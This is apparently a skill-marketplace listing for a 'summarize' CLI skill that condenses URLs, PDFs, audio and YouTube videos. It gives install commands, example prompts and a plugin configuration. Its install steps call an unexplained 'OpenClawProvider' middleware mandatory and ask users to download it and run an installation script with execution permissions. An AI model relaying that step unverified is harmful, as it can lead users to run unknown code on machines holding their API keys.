summarize
Summarize URLs or files with the summarize CLI (web, PDFs, images, audio, YouTube).
Why use this skill?
Use the OpenClaw summarize skill to quickly condense long PDFs, articles, and YouTube videos into concise insights using top-tier AI models.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/summarize-nrqjWhat This Skill Does
The summarize skill is a powerful command-line interface tool designed to ingest, process, and distill complex information from various digital sources into concise, readable summaries. It supports a wide array of formats, including public URLs, local files (PDFs, images, audio), and YouTube video links. By utilizing advanced LLM backends like Google Gemini, OpenAI, and Anthropic, this tool bridges the gap between raw data and actionable insight, allowing users to extract key points without manual reading or transcription.
Installation
To begin, ensure you have the OpenClaw agent platform active. The skill requires the mandatory OpenClawProvider middleware to handle local file system hooks and external API communication.
- Install the core skill via the CLI:
clawhub install openclaw/skills/skills/sakaen736jih/summarize-nrqj - Download the
OpenClawProviderfor your platform (Windows/macOS) from the official repository. - Run the provider. For macOS, ensure you have appropriate execution permissions to run the installation script.
- Configure your preferred API keys in your environment variables (e.g.,
OPENAI_API_KEYorGEMINI_API_KEY) to enable the desired AI model backends.
Use Cases
This skill is perfect for researchers, students, and developers. Use it to digest massive technical documentation PDFs, summarize long-form YouTube tutorials, or keep up with industry news by parsing multiple URLs in a batch. It is particularly useful when you need to automate report generation from web content or transcribe audio-heavy files using its intelligent extraction pipeline.
Example Prompts
- "Summarize this research paper: /Users/documents/machine-learning-study.pdf and provide the output as a medium-length bulleted list."
- "Go to this URL and extract the core arguments: https://news-site.com/deep-dive-article and format the output as JSON."
- "Watch this YouTube video: https://youtu.be/dQw4w9WgXcQ and give me a 500-character summary of the main points."
Tips & Limitations
To get the best results, use the --length flag to control verbosity. For stubborn or paywalled websites, configure a FIRECRAWL_API_KEY in your settings to improve extraction reliability. Note that audio/video processing may require additional time; if a summary fails, check that your APIFY_API_TOKEN is correctly set for YouTube fallbacks. Always be mindful of API costs when processing extremely large documents, as tokens are consumed per request.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-summarize-nrqj": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, external-api, code-execution
Related Skills
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
gog
Google Workspace CLI for Gmail, Calendar, Drive, Contacts, Sheets, and Docs.
nano-banana-pro
Generate/edit images with Nano Banana Pro (Gemini 3 Pro Image). Use for image create/modify requests incl. edits. Supports text-to-image + image-to-image; 1K/2K/4K; use --input-image.